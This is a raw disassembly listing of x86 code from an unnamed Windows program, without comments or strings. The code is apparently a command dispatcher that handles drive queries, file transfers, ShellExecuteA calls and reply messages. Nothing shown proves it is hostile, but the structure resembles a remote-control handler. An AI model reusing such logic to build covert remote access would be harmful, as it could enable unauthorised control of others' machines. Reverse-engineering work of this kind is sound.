call fcn.00403750
mov eax, dword [ebx + 0x10]
push eax
push 1
push 0
push 0
push 0
xor ecx, ecx
mov cl, byte [ebp - 0x91]
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004d48b8
jmp case.0x4d6781.10
lea edx, [ebp - 0x99c]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov edx, dword [ebp - 0x99c]
mov eax, 0x53a570
call fcn.004045b0
mov eax, dword [ebx + 0x10]
mov dword [0x53a574], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53a580], eax
mov al, byte [ebx + 0x18]
and al, 0xff
mov byte [0x53a57c], al
mov eax, dword [ebx + 0x18]
and eax, 0x300
mov dword [0x53a578], eax
mov eax, 0x53a570
call fcn.004d30ec
mov eax, dword [0x53a570]
cmp byte [eax + 1], 0x3a
jne 0x4da4cc
mov eax, dword [0x53a570]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x53a584], al
jmp 0x4da4d3
mov byte [0x53a584], 0
mov eax, dword [0x53a570]
call fcn.00404814
cmp eax, 3
jle case.0x4d6781.10
mov eax, dword [0x53a570]
call fcn.00462d44
jmp case.0x4d6781.10
mov al, byte [ebx + 0x10]
mov byte [0x53a590], al
mov eax, dword [ebx + 0x14]
mov dword [0x53a58c], eax
lea eax, [ebx + 0x20]
mov ebx, eax
mov eax, dword [ebx + 4]
mov dword [0x53a598], eax
mov eax, dword [ebx + 8]
mov dword [0x53a59c], eax
mov eax, dword [ebx]
mov dword [0x53a594], eax
mov eax, dword [ebx + 0xc]
mov dword [0x53a5a0], eax
cmp byte [0x53a584], 0x41
jb 0x4da563
mov al, byte [0x53a584]
sub al, 0x41
inc eax
call fcn.00409b78
sub eax, dword [0x53a598]
sbb edx, dword [0x53a59c]
sub eax, 0x1400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4da577
mov dword [ebp - 0xa8], 0xffffffff
mov dword [ebp - 0xa4], 0x7fff
cmp dword [ebp - 0xa4], 0
jne 0x4da58b
cmp dword [ebp - 0xa8], 0
jae 0x4da5b6
jmp 0x4da58d
jge 0x4da5b6
xor eax, eax
mov dword [0x53257c], eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x53a58c]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d48b8
jmp case.0x4d6781.10
mov al, byte [0x53a590]
sub al, 2
jb 0x4da5c6
je 0x4da5fb
jmp case.0x4d6781.10
mov byte [0x53a5a4], 0
mov dl, 1
mov eax, dword [0x4ed9f8]
call fcn.00403720
mov dword [0x53257c], eax
mov dl, 1
mov eax, dword [0x41446c]
call fcn.00403720
mov dword [0x53a5ac], eax
xor eax, eax
mov dword [0x53a5a8], eax
jmp case.0x4d6781.10
mov byte [0x53a5a4], 0
lea eax, [ebp - 0x9a0]
lea edx, [ebx + 0x10]
mov ecx, 0x400
call fcn.004047c4
mov ecx, dword [ebp - 0x9a0]
mov eax, 0x53a588
mov edx, dword [0x53a570]
call fcn.00404860
mov eax, dword [0x53a588]
call fcn.004e9fbc
lea eax, [ebp - 0x9a4]
mov edx, dword [0x53a588]
call fcn.00404e18
mov eax, dword [ebp - 0x9a4]
mov dx, 0xffff
call fcn.0046da2c
mov dword [0x53257c], eax
cmp dword [0x53257c], 0
jne 0x4da689
push 0
push 0
mov eax, dword [0x53a588]
push eax
push 0
push 0
mov ecx, dword [0x53a58c]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d48b8
jmp case.0x4d6781.10
xor eax, eax
push ebp
push 0x4da6b7
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x53a59c]
push dword [0x53a598]
mov eax, dword [0x53257c]
call fcn.00463194
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4da6dc
cmp dword [0x53257c], 0
je 0x4da663
push 0
push 0
mov eax, dword [0x53257c]
call fcn.00463134
mov dl, 1
mov eax, dword [0x41446c]
call fcn.00403720
mov dword [0x53a5ac], eax
xor eax, eax
mov dword [0x53a5a8], eax
jmp case.0x4d6781.10
call fcn.004d59ec
jmp case.0x4d6781.10
lea edx, [ebp - 0x9a8]
mov eax, 0xa5
call fcn.004a94c4
mov eax, dword [ebp - 0x9a8]
mov edx, 0x4dc050
call fcn.0046cc68
lea edx, [ebp - 0x9ac]
mov eax, 0xa5
call fcn.004a94c4
mov eax, dword [ebp - 0x9ac]
mov edx, 0x4dc068
call fcn.0046cc68
jmp case.0x4d6781.10
mov edx, dword [0x53383c]
mov edx, dword [edx]
lea eax, [ebp - 0x34]
mov ecx, 0x4dc080
call fcn.00404860
mov eax, dword [ebp - 0x34]
call fcn.0046d69c
test al, al
jne 0x4da7d2
lea eax, [ebp - 0x9b0]
mov edx, dword [ebp - 0x34]
call fcn.00404e18
mov eax, dword [ebp - 0x9b0]
mov dx, 0xffff
call fcn.0046da2c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4da7d2
mov eax, dword [0x53258c]
call fcn.00404814
push eax
mov eax, 0x53258c
call fcn.00404a64
mov edx, eax
mov eax, dword [ebp - 0x20]
pop ecx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x20]
call fcn.00403750
push 1
push 0x4dbf54
push 0x4dbf54
lea eax, [ebp - 0x34]
call fcn.00404a64
push eax
push 0x4dbf3c
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d6781.10
mov eax, dword [0x533900]
cmp dword [eax], 0
jne case.0x4d6781.10
xor ecx, ecx
mov dl, 1
mov eax, dword [0x4b1fb0]
call fcn.0041f1f0
mov edx, dword [0x533900]
mov dword [edx], eax
jmp case.0x4d6781.10
mov eax, dword [0x53914c]
mov eax, dword [eax + 0x314]
cmp byte [eax + 0x94], 0
je case.0x4d6781.10
lea edx, [ebp - 0x9b4]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov edx, dword [ebp - 0x9b4]
mov eax, dword [0x53914c]
mov eax, dword [eax + 0x314]
call fcn.0049e3c4
jmp case.0x4d6781.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xd4
mov eax, dword [ebp - 0x28]
call fcn.004d48b8
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x14]
mov dword [0x53a4c0], eax
push 0
push 0x3e8
push 0
push 0x3c
mov eax, dword [ebx + 0x10]
cdq
call fcn.004058cc
call fcn.004058cc
mov dword [0x532500], eax
mov dword [0x532504], edx
cmp dword [0x532504], 0
jne 0x4da8c5
cmp dword [0x532500], 0
jbe case.0x4d6781.10
jmp 0x4da8cb
jle case.0x4d6781.10
mov eax, dword [0x531ef0]
mov edx, dword [0x531ef4]
add eax, dword [0x532500]
adc edx, dword [0x532504]
mov dword [0x532500], eax
mov dword [0x532504], edx
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x14]
mov dword [0x53a4c0], eax
push 0
push 0x3e8
mov eax, dword [ebx + 0x10]
cdq
call fcn.004058cc
mov dword [0x532500], eax
mov dword [0x532504], edx
cmp dword [0x532504], 0
jne 0x4da930
cmp dword [0x532500], 0
jbe case.0x4d6781.10
jmp 0x4da936
jle case.0x4d6781.10
mov eax, dword [0x531ef0]
mov edx, dword [0x531ef4]
add eax, dword [0x532500]
adc edx, dword [0x532504]
mov dword [0x532500], eax
mov dword [0x532504], edx
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x53a370]
cmp eax, edx
jne case.0x4d6781.10
mov eax, 0x53a4d0
mov dl, 1
call fcn.004e9178
test al, al
je case.0x4d6781.10
mov eax, dword [0x53a4d0]
call fcn.00404e38
cmp eax, dword [0x53a4d4]
jle 0x4da9be
cmp dword [ebx + 0x14], 1
jne case.0x4d6781.10
push 0
push 0
push 0
mov ecx, 1
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004d4a54
jmp case.0x4d6781.10
mov eax, dword [0x53a4d0]
call fcn.00404e38
test eax, eax
jne 0x4da9f3
cmp dword [ebx + 0x14], 1
jne case.0x4d6781.10
push 0
push 0
push 0
mov ecx, 2
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004d4a54
jmp case.0x4d6781.10
cmp byte [ebx + 0xc], 0xed
jne 0x4daa20
movzx eax, word [0x53a370]
push eax
mov eax, dword [ebx + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x53a4d0]
mov edx, 0x10
mov eax, dword [ebp - 0x28]
call fcn.004d4af4
jmp case.0x4d6781.10
movzx eax, word [0x53a370]
push eax
mov eax, dword [ebx + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x53a4d0]
mov edx, 0xd
mov eax, dword [ebp - 0x28]
call fcn.004d4af4
jmp case.0x4d6781.10
movzx eax, word [0x53a370]
cmp eax, dword [ebx + 0x10]
jne case.0x4d6781.10
cmp byte [0x532518], 0
je case.0x4d6781.10
movzx ecx, word [0x53a370]
mov edx, 0x13
mov eax, dword [0x53a4e4]
call fcn.004d4c6c
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x53a370]
cmp eax, edx
jne case.0x4d6781.10
mov eax, dword [0x53a4d8]
call fcn.004195f4
cmp edx, 0
jne 0x4daaab
cmp eax, 0
jbe case.0x4d6781.10
jmp 0x4daab1
jle case.0x4d6781.10
movzx ecx, word [0x53a370]
mov edx, 0x14
mov eax, dword [0x53a4d8]
call fcn.004d4c6c
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x53a370]
cmp eax, edx
jne case.0x4d6781.10
lea edx, [ebp - 0xd4]
mov eax, 0x28
call fcn.004a9d54
cmp dword [ebx + 0x14], 0
jne 0x4dab17
lea eax, [ebp - 0x9b8]
mov edx, dword [ebp - 0xd4]
call fcn.00404e18
mov eax, dword [ebp - 0x9b8]
mov dl, 1
call fcn.004e920c
jmp case.0x4d6781.10
cmp dword [ebx + 0x14], 2
jne case.0x4d6781.10
lea eax, [ebp - 0x9bc]
mov edx, dword [ebp - 0xd4]
call fcn.00404e18
mov eax, dword [ebp - 0x9bc]
mov dl, 1
call fcn.004e929c
jmp case.0x4d6781.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xf7
mov eax, dword [ebp - 0x28]
call fcn.004d48b8
jmp case.0x4d6781.10
cmp dword [0x53257c], 0
jne 0x4daba9
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x53a5b0]
jne case.0x4d6781.10
cmp byte [0x53a5a4], 0
je case.0x4d6781.10
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x53a5b0]
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004d48b8
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x53a58c]
jne case.0x4d6781.10
push 0
push 0x400
mov eax, dword [0x53a598]
mov edx, dword [0x53a59c]
add eax, 0x3ff
adc edx, 0
call fcn.004058f0
mov ebx, eax
cmp ebx, dword [0x53a5a8]
jbe 0x4dac00
mov edx, dword [0x53a5a8]
mov eax, dword [0x53a5ac]
call fcn.00416c2c
inc dword [0x53a5a8]
cmp ebx, dword [0x53a5a8]
ja 0x4dabe2
lea ebx, [ebp - 0x7a8]
lea esi, [ebx + 0x20]
mov eax, dword [0x53a5ac]
mov edi, dword [eax + 8]
dec edi
xor eax, eax
mov dword [ebp - 0x48], eax
test edi, edi
jl 0x4dac39
mov edx, edi
mov eax, dword [0x53a5ac]
call fcn.00416d88
mov dword [esi], eax
add esi, 4
dec edi
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0x140
jne 0x4dac17
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xfe
mov byte [ebx + 0xe], 0
sub esi, ebx
mov dword [ebx + 4], esi
mov eax, dword [ebx + 4]
sub eax, 0x20
test eax, eax
jns 0x4dac57
add eax, 3
sar eax, 2
mov dword [ebx + 0x10], eax
mov eax, dword [0x53a58c]
mov dword [ebx + 0x14], eax
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d459c
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x10]
mov dword [0x532508], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53250c], eax
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x10]
mov dword [0x531f98], eax
jmp case.0x4d6781.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409e88
lea eax, [ebp - 0x34]
call fcn.004d30ec
mov eax, dword [ebp - 0x34]
call fcn.0046d69c
test al, al
je case.0x4d6781.10
mov byte [ebp - 0xc9], 0
lea eax, [ebp - 0x9c0]
mov edx, dword [ebp - 0x34]
call fcn.00404e18
mov eax, dword [ebp - 0x9c0]
lea ecx, [ebp - 0xbc]
lea edx, [ebp - 0xc8]
call fcn.0046e3bc
lea edx, [ebp - 0xc4]
mov eax, 1
call fcn.004a94c4
mov al, byte [0x4dc090]
push eax
lea eax, [ebp - 0xc0]
push eax
lea edx, [ebp - 0x9c8]
mov eax, dword [0x533a70]
mov eax, dword [eax]
call fcn.00409a54
mov edx, dword [ebp - 0x9c8]
lea eax, [ebp - 0x9c4]
call fcn.00404e18
mov eax, dword [ebp - 0x9c4]
push eax
lea eax, [ebp - 0x9cc]
mov edx, dword [ebp - 0xc4]
call fcn.00404e18
mov edx, dword [ebp - 0x9cc]
mov eax, dword [ebp - 0xbc]
pop ecx
call fcn.004eee00
mov eax, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xbc]
call fcn.00404f50
je case.0x4d6781.10
lea eax, [ebp - 0x9d0]
mov edx, dword [ebp - 0x34]
call fcn.00404e18
mov eax, dword [ebp - 0x9d0]
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xc8]
call fcn.0046e498
jmp case.0x4d6781.10
mov eax, dword [0x539154]
call fcn.0049dbf8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e2aa4
mov byte [0x531f54], 1
call fcn.004d5a54
xor edx, edx
mov eax, 4
call fcn.004d5a74
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x10]
mov dword [0x53a2c8], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53a2cc], eax
mov eax, dword [0x53a2c8]
cdq
push edx
push eax
lea eax, [ebp - 0x9d4]
mov edx, dword [0x533514]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x9d4]
mov edx, 0x4dc09c
call fcn.0046d2ac
mov eax, dword [0x53a2cc]
cdq
push edx
push eax
lea eax, [ebp - 0x9d8]
mov edx, dword [0x533514]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x9d8]
mov edx, 0x4dc0b0
call fcn.0046d2ac
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x10]
mov dword [0x53a2d0], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53a2d4], eax
mov eax, dword [0x53a2d0]
cdq
push edx
push eax
lea eax, [ebp - 0x9dc]
mov edx, dword [0x533514]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x9dc]
mov edx, 0x4dc0c4
call fcn.0046d2ac
mov eax, dword [0x53a2d4]
cdq
push edx
push eax
lea eax, [ebp - 0x9e0]
mov edx, dword [0x533514]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x9e0]
mov edx, 0x4dc0d8
call fcn.0046d2ac
jmp case.0x4d6781.10
mov al, byte [0x4dbf4c]
push eax
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0x9e4]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov eax, dword [ebp - 0x9e4]
mov ecx, 0x4dc0ec
mov edx, 0x4dc0f8
call fcn.0040d8e8
lea eax, [ebp - 0xe8]
call fcn.00404a64
mov dword [ebp - 0xfc], eax
lea edx, [ebp - 0xec]
lea eax, [ebp - 0xfc]
call fcn.0046c028
lea eax, [ebp - 0xec]
call fcn.004d30ec
lea edx, [ebp - 0xf0]
lea eax, [ebp - 0xfc]
call fcn.0046c028
lea edx, [ebp - 0xf4]
lea eax, [ebp - 0xfc]
call fcn.0046c028
lea edx, [ebp - 0xf8]
lea eax, [ebp - 0xfc]
call fcn.0046c028
lea eax, [ebp - 0x9e8]
mov edx, dword [ebp - 0xf4]
call fcn.00404e18
mov eax, dword [ebp - 0x9e8]
push eax
lea eax, [ebp - 0x9ec]
mov edx, dword [ebp - 0xf8]
call fcn.00404e18
mov eax, dword [ebp - 0x9ec]
push eax
mov eax, dword [ebx + 0x14]
push eax
xor eax, eax
mov al, byte [ebx + 0xc]
push eax
lea eax, [ebp - 0x9f0]
mov edx, dword [ebp - 0xf0]
call fcn.00404e18
mov ecx, dword [ebp - 0x9f0]
mov edx, dword [ebx + 0x10]
mov eax, dword [ebp - 0xec]
call fcn.004dc538
mov dword [ebp - 0x48], eax
cmp byte [ebx + 0xc], 0xff
jne 0x4dafb1
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc1
mov eax, dword [ebp - 0x28]
call fcn.004d4a54
jmp case.0x4d6781.10
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xbe
mov eax, dword [ebp - 0x28]
call fcn.004d4a54
jmp case.0x4d6781.10
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409e88
lea eax, [ebp - 0xe8]
call fcn.0046da78
mov eax, dword [ebx + 0x14]
push eax
mov ecx, dword [ebx + 0x10]
and ecx, 0xffff
mov edx, dword [ebx + 0x10]
shr edx, 0x10
mov eax, dword [ebp - 0xe8]
call fcn.004dc1c4
jmp case.0x4d6781.10
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409e88
lea eax, [ebp - 0xe8]
call fcn.004d30ec
mov eax, dword [ebp - 0xe8]
call fcn.0046d69c
test al, al
je case.0x4d6781.10
mov dl, 1
mov eax, dword [ebp - 0xe8]
call fcn.004e1d9c
jmp case.0x4d6781.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xf4
mov eax, dword [ebp - 0x28]
call fcn.004d48b8
jmp case.0x4d6781.10
mov byte [0x53a564], 0
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x10]
mov dword [0x53a568], eax
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x10]
call fcn.0040305c
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
inc eax
call fcn.004d1e78
mov eax, 3
call fcn.0040305c
mov dword [ebp - 0x48], eax
lea edx, [ebp - 0xe8]
mov eax, dword [ebp - 0x48]
call fcn.004d5328
cmp dword [ebp - 0xe8], 0
jne 0x4db0c5
lea eax, [ebp - 0xe8]
mov edx, 0x4dc108
call fcn.004045f4
push 0
push 0
lea eax, [ebp - 0xe8]
call fcn.00404a64
push eax
xor ecx, ecx
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004d4a54
jmp case.0x4d6781.10
call fcn.0040b050
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0xe8]
mov eax, 0x4dc118
call fcn.0040bc64
push 0
push 0
lea eax, [ebp - 0xe8]
call fcn.00404a64
push eax
xor ecx, ecx
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004d4a54
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x10]
mov dword [ebp - 0x110], eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0x10c], eax
push dword [ebp - 0x10c]
push dword [ebp - 0x110]
call fcn.004d2af4
jmp case.0x4d6781.10
mov dl, 1
mov eax, dword [0x414ad0]
call fcn.00403720
mov esi, eax
lea eax, [ebp - 0x9f4]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov edx, dword [ebp - 0x9f4]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xec]
xor edx, edx
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xf0]
mov edx, 1
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xf4]
mov edx, 2
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xf8]
mov edx, 3
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0xec]
call fcn.004d30ec
lea eax, [ebp - 0xa00]
mov edx, dword [ebp - 0xec]
call fcn.00404e18
mov eax, dword [ebp - 0xa00]
lea ecx, [ebp - 0x9fc]
lea edx, [ebp - 0x100]
call fcn.0046e3bc
mov edx, dword [ebp - 0x9fc]
lea eax, [ebp - 0x9f8]
call fcn.004047dc
mov edx, dword [ebp - 0x9f8]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
cmp dword [ebp - 0x100], 0xfffffffd
jne 0x4db23f
test byte [ebx + 0x10], 1
jne 0x4db23f
push 0
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d4a54
jmp 0x4db316
cmp dword [ebp - 0x100], 0xfffffffe
jne 0x4db265
push 0
push 0
push 0
mov ecx, 0xfffffffe
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d4a54
jmp 0x4db316
mov eax, dword [ebp - 0xf4]
push eax
mov eax, dword [ebp - 0xf8]
push eax
xor edx, edx
mov dl, byte [ebx + 0xc]
mov ecx, dword [ebp - 0xf0]
mov eax, esi
call fcn.004d60b8
mov eax, dword [ebp - 0xec]
call fcn.004e9fbc
lea edx, [ebp - 0xa08]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0xa08]
lea eax, [ebp - 0xa04]
call fcn.00404e18
mov eax, dword [ebp - 0xa04]
push eax
lea eax, [ebp - 0xa0c]
mov edx, dword [ebp - 0xec]
call fcn.00404e18
mov eax, dword [ebp - 0xa0c]
mov edx, dword [ebp - 0x100]
pop ecx
call fcn.0046e498
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0
jl 0x4db2fe
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d4a54
jmp 0x4db316
push 0
push 0
push 0
mov ecx, 0xfffffffd
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d4a54
mov eax, esi
call fcn.00403750
jmp case.0x4d6781.10
mov dword [0x53a360], 1
jmp case.0x4d6781.10
xor eax, eax
call fcn.004ea390
jmp case.0x4d6781.96
call fcn.004ea374
jmp case.0x4d6781.96
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409e88
lea eax, [ebp - 0xa10]
mov edx, dword [ebp - 0xe8]
call fcn.00404e18
mov eax, dword [ebp - 0xa10]
lea ecx, [ebp - 0xbc]
lea edx, [ebp - 0x100]
call fcn.0046e3bc
cmp dword [ebp - 0x100], 0
jl case.0x4d6781.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [ebp - 0x100]
je case.0x4d6781.10
lea eax, [ebp - 0xa14]
mov edx, dword [ebp - 0xe8]
call fcn.00404e18
mov eax, dword [ebp - 0xa14]
mov edx, dword [ebx + 0x10]
mov ecx, dword [ebp - 0xbc]
call fcn.0046e498
jmp case.0x4d6781.10
cmp dword [0x531fa8], 0
je 0x4db3d2
mov dword [ebp - 0x48], 1
jmp 0x4db3d7
xor eax, eax
mov dword [ebp - 0x48], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d4a54
jmp case.0x4d6781.10
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov edx, dword [ebp - 0xe8]
mov eax, 0x4dc134
call fcn.00404b50
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0xa18]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe8]
call fcn.00404a6c
mov eax, dword [ebp - 0xa18]
push eax
lea eax, [ebp - 0xa1c]
mov edx, dword [0x533514]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa1c]
mov edx, 0x4dc140
pop ecx
call fcn.0046d4fc
mov eax, dword [ebx + 0x10]
cdq
push edx
push eax
lea eax, [ebp - 0xa20]
mov edx, dword [0x533514]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa20]
mov edx, 0x4dc150
call fcn.0046d2ac
mov eax, dword [ebx + 0x14]
cdq
push edx
push eax
lea eax, [ebp - 0xa24]
mov edx, dword [0x533514]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa24]
mov edx, 0x4dc164
call fcn.0046d2ac
lea eax, [ebp - 0xa28]
push eax
mov edx, dword [ebp - 0x48]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe8]
call fcn.00404a6c
mov eax, dword [ebp - 0xa28]
push eax
lea eax, [ebp - 0xa2c]
mov edx, dword [0x533514]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa2c]
mov edx, 0x4dc178
pop ecx
call fcn.0046d4fc
jmp case.0x4d6781.10
lea edx, [ebp - 0xa30]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov edx, dword [ebp - 0xa30]
mov eax, 0x53a514
call fcn.004045b0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebx + eax*4 + 0x10]
mov dword [0x532540], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0049dbf8
cmp dword [0x532540], 0
jle case.0x4d6781.10
mov edx, dword [0x53a514]
mov eax, 0x4dc18c
call fcn.00404b50
test eax, eax
jle 0x4db585
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0049d9c8
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x53a514]
call fcn.0049dac4
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0049da44
jmp 0x4db5b9
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov dl, 1
call fcn.0049d9c8
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0049dac4
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x53a514]
call fcn.0049da44
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x532540]
call fcn.0049db44
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0049dbf0
jmp case.0x4d6781.10
mov al, byte [ebx + 0x10]
mov byte [0x531fac], al
jmp case.0x4d6781.10
inc byte [0x531fac]
mov eax, dword [0x531ee0]
call fcn.004efa78
movsx edx, byte [0x531fac]
cmp eax, edx
jg case.0x4d6781.10
mov byte [0x531fac], 0xff
jmp case.0x4d6781.10
lea edx, [ebp - 0xa38]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov edx, dword [ebp - 0xa38]
lea eax, [ebp - 0xa34]
call fcn.00404e18
mov eax, dword [ebp - 0xa34]
push eax
mov edx, dword [0x53383c]
mov edx, dword [edx]
lea eax, [ebp - 0xa40]
mov ecx, 0x4dc198
call fcn.00404860
mov edx, dword [ebp - 0xa40]
lea eax, [ebp - 0xa3c]
call fcn.00404e18
mov eax, dword [ebp - 0xa3c]
xor edx, edx
pop ecx
call fcn.0046e498
jmp case.0x4d6781.10
mov eax, dword [0x53385c]
mov eax, dword [eax]
xor edx, edx
call fcn.004b1c9c
jmp case.0x4d6781.10
mov eax, dword [0x53a52c]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle case.0x4d6781.10
mov eax, dword [0x533330]
cmp dword [eax], 0
jne 0x4db6ae
call fcn.004cd010
mov eax, dword [0x533254]
cmp dword [eax], 0
jne 0x4db6bd
call fcn.004ce330
mov eax, dword [0x533410]
cmp dword [eax], 0
jne 0x4db6cc
call fcn.004cea8c
movsx eax, word [0x53a520]
mov dword [0x53a528], eax
mov ax, word [0x53a520]
cmp ax, word [0x53a522]
jge 0x4db702
movsx eax, word [0x53a522]
movsx edx, word [0x53a520]
sub eax, edx
call fcn.0040305c
add dword [0x53a528], eax
mov dword [0x53a530], 0xffffffff
mov byte [0x532548], 1
jmp case.0x4d6781.106
mov byte [0x532548], 0
jmp case.0x4d6781.106
mov ax, word [ebx + 0x10]
mov word [0x53a520], ax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov word [0x53a522], ax
mov al, byte [ebx + 0x14]
and al, 1
mov byte [0x53a524], al
lea edx, [ebp - 0xa44]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov edx, dword [ebp - 0xa44]
mov eax, dword [0x53a52c]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [0x53a52c]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne case.0x4d6781.10
mov byte [0x532548], 0
jmp case.0x4d6781.10
cmp byte [0x532548], 0
je 0x4db78c
mov dword [ebp - 0x48], 1
jmp 0x4db791
xor eax, eax
mov dword [ebp - 0x48], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc5
mov eax, dword [ebp - 0x28]
call fcn.004d4a54
jmp case.0x4d6781.10
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov edx, dword [ebp - 0xe8]
mov eax, 0x4dc134
call fcn.00404b50
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jle case.0x4d6781.10
mov ecx, dword [ebp - 0x28]
